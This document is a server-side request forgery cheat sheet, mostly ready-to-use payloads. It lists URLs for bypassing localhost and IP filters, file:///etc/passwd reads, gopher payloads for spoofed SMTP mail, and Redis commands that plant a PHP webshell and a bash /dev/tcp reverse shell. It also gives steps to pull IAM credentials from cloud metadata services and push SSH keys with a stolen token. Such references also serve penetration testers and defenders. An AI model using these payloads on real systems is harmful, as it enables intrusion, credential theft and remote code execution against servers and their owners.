Server-Side Request Forgery

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Summary

  • Tools

  • Payloads with localhost

  • Bypassing filters

    • Bypass using HTTPS

    • Bypass localhost with [::]

    • Bypass localhost with a domain redirection

    • Bypass localhost with CIDR

    • Bypass using a decimal IP location

    • Bypass using octal IP

    • Bypass using IPv6/IPv4 Address Embedding

    • Bypass using malformed urls

    • Bypass using rare address

    • Bypass using URL encoding

    • Bypass using bash variables

    • Bypass using tricks combination

    • Bypass using enclosed alphanumerics

    • Bypass filter_var() php function

    • Bypass against a weak parser

    • Bypassing using jar protocol (java only)

  • SSRF exploitation via URL Scheme

    • file://

    • http://

    • dict://

    • sftp://

    • tftp://

    • ldap://

    • gopher://

    • netdoc://

  • SSRF exploiting WSGI

  • SSRF exploiting Redis

  • SSRF exploiting PDF file

  • Blind SSRF

  • SSRF to XSS

  • SSRF from XSS

  • SSRF URL for Cloud Instances

    • SSRF URL for AWS Bucket

    • SSRF URL for AWS ECS

    • SSRF URL for AWS Elastic Beanstalk

    • SSRF URL for AWS Lambda

    • SSRF URL for Google Cloud

    • SSRF URL for Digital Ocean

    • SSRF URL for Packetcloud

    • SSRF URL for Azure

    • SSRF URL for OpenStack/RackSpace

    • SSRF URL for HP Helion

    • SSRF URL for Oracle Cloud

    • SSRF URL for Kubernetes ETCD

    • SSRF URL for Alibaba

    • SSRF URL for Docker

    • SSRF URL for Rancher

Tools

Payloads with localhost

Basic SSRF v1

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22

Basic SSRF - Alternative version

http://localhost:80
http://localhost:443
http://localhost:22

Bypassing filters

Bypass using HTTPS

https://127.0.0.1/
https://localhost/

Bypass localhost with [::]

http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid

Bypass localhost with a domain redirection

http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost

The service nip.io is awesome for that, it will convert any ip address as a dns.

NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1

Bypass localhost with CIDR

It's a /8

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

Bypass using a decimal IP location

http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/  = http://169.254.169.254

Bypass using octal IP

Implementations differ on how to handle octal format of ipv4.

http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
...

Ref:

Bypass using IPv6/IPv4 Address Embedding

IPv6/IPv4 Address Embedding

http://[0:0:0:0:0:ffff:127.0.0.1]

Bypass using malformed urls

localhost:+11211aaa
localhost:00011211aaaa

Bypass using rare address

You can short-hand IP addresses by dropping the zeros

http://0/
http://127.1
http://127.0.1

Bypass using URL encoding

Single or double encode a specific URL to bypass blacklist

http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin

Bypass using bash variables

(curl only)

curl -v "http://evil$google.com"
$google = ""

Bypass using tricks combination

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

Bypass using enclosed alphanumerics

@EdOverflow

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Bypass using unicode

In some languages (.NET, Python 3) regex supports unicode by default. \d includes 0123456789 but also ๐๑๒๓๔๕๖๗๘๙.

Bypass filter_var() php function

0://evil.com:80;http://google.com:80/

Bypass against a weak parser

by Orange Tsai (Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

Bypassing using a redirect

using a redirect

1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
2. Launch the SSRF pointing to  vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
3. You can use response codes [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) and [308](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308) in order to retain HTTP method and body after the redirection.

Bypassing using type=url

Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF

Bypassing using DNS Rebinding (TOCTOU)

Create a domain that change between two IPs. http://1u.ms/ exists for this purpose.
For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

Bypassing using jar protocol (java only)

Blind SSRF

jar:scheme://domain/path!/ 
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/

SSRF exploitation via URL Scheme

File

Allows an attacker to fetch the content of a file on the server

file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd

HTTP

Allows an attacker to fetch any content from the web, it can also be used to scan ports.

ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443

The following URL scheme can be used to probe the network

Dict

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP

A network protocol used for secure file transfer over secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP

Trivial File Transfer Protocol, works over UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT

Gopher HTTP

gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

Gopher SMTP - Back connect to 1337

Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>

Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher SMTP - send a mail

Content of evil.com/redirect.php:
<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <admin@victim.com>',
                'RCPT To: <sxcurity@oou.us>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>

Netdoc

Wrapper for Java when your payloads struggle with "\n" and "\r" characters.

ssrf.php?url=netdoc:///etc/passwd

SSRF exploiting WSGI

Exploit using the Gopher protocol, full exploit script available at https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py.

gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
Header

modifier1

(1 byte)

0 (%00)

datasize

(2 bytes)

26 (%1A%00)

modifier2

(1 byte)

0 (%00)

Variable (UWSGI_FILE)

key length

(2 bytes)

10

(%0A%00)

key data

(m bytes)

UWSGI_FILE

value length

(2 bytes)

12

(%0C%00)

value data

(n bytes)

/tmp/test.py

SSRF exploiting Redis

Redis is a database system that stores everything in RAM

# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE

# Getting a PHP reverse shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save

SSRF exploiting PDF file

Example with WeasyPrint by @nahamsec

<link rel=attachment href="file:///root/secret.txt">

Example with PhantomJS

<script>
    exfil = new XMLHttpRequest();
    exfil.open("GET","file:///etc/passwd");
    exfil.send();
    exfil.onload = function(){document.write(this.responseText);}
    exfil.onerror = function(){document.write('failed!')}
</script>

Blind SSRF

When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.

Use an SSRF chain to gain an Out-of-Band output.

From https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ / https://github.com/assetnote/blind-ssrf-chains

Possible via HTTP(s)

Possible via Gopher

SSRF to XSS

by @D0rkerDevil & @alyssa.o.herrera

http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf

https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg

SSRF from XSS

Using an iframe

The content of the file will be integrated inside the PDF as an image or text.

<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>

Using an attachment

Example of a PDF attachment using HTML

  1. use <link rel=attachment href="URL"> as Bio text

  2. use 'Download Data' feature to get PDF

  3. use pdfdetach -saveall filename.pdf to extract embedded resource

  4. cat attachment.bin

SSRF URL for Cloud Instances

SSRF URL for AWS Bucket

Docs Interesting path to look for at http://169.254.169.254 or http://instance-data

Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/

DNS record

http://instance-data
http://169.254.169.254
http://169.254.169.254.nip.io/

HTTP redirect

Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-

Alternate IP encoding

http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding

More urls to include

http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document

AWS SSRF Bypasses

Converted Decimal IP: http://2852039166/latest/meta-data/
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/

E.g: Jira SSRF leading to AWS info disclosure - https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance

E.g2: Flaws challenge - http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

SSRF URL for AWS ECS

If you have an SSRF with file system access on an ECS instance, try extracting /proc/self/environ to get UUID.

curl http://169.254.170.2/v2/credentials/<UUID>

This way you'll extract IAM keys of the attached role

SSRF URL for AWS Elastic Beanstalk

We retrieve the accountId and region from the API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

SSRF URL for AWS Lambda

AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.

http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"

Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next

SSRF URL for Google Cloud

⚠️ Google is shutting down support for usage of the v1 metadata service on January 15.

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Google allows recursive pulls

http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Required headers can be set using a gopher SSRF with the following technique

gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a

Interesting files to pull out:

  • SSH Public Key : http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

  • Get Access Token : http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

  • Kubernetes Key : http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json

Add an SSH key

Extract the token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Check the scope of the token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  

{ 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}

Now push the SSH key.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

SSRF URL for Digital Ocean

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

All in one request:
curl http://169.254.169.254/metadata/v1.json | jq

SSRF URL for Packetcloud

Documentation available at https://metadata.packet.net/userdata

SSRF URL for Azure

Limited, maybe more exists? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

http://169.254.169.254/metadata/v1/maintenance

Update Apr 2017, Azure has more support; requires the header "Metadata: true" https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service

http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

SSRF URL for OpenStack/RackSpace

(header required? unknown)

http://169.254.169.254/openstack

SSRF URL for HP Helion

(header required? unknown)

http://169.254.169.254/2009-04-04/meta-data/

SSRF URL for Oracle Cloud

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

SSRF URL for Alibaba

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

SSRF URL for Kubernetes ETCD

Can contain API keys and internal ip and ports

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

SSRF URL for Docker

http://127.0.0.1:2375/v1.24/containers/json

Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

More info:

  • Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option

  • Docker Engine API: https://docs.docker.com/engine/api/latest/

SSRF URL for Rancher

curl http://rancher-metadata/<version>/<path>

More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/

References

PreviousServer Side Templates InjectionsNextPayloads Included in Server-Side Request Forgery

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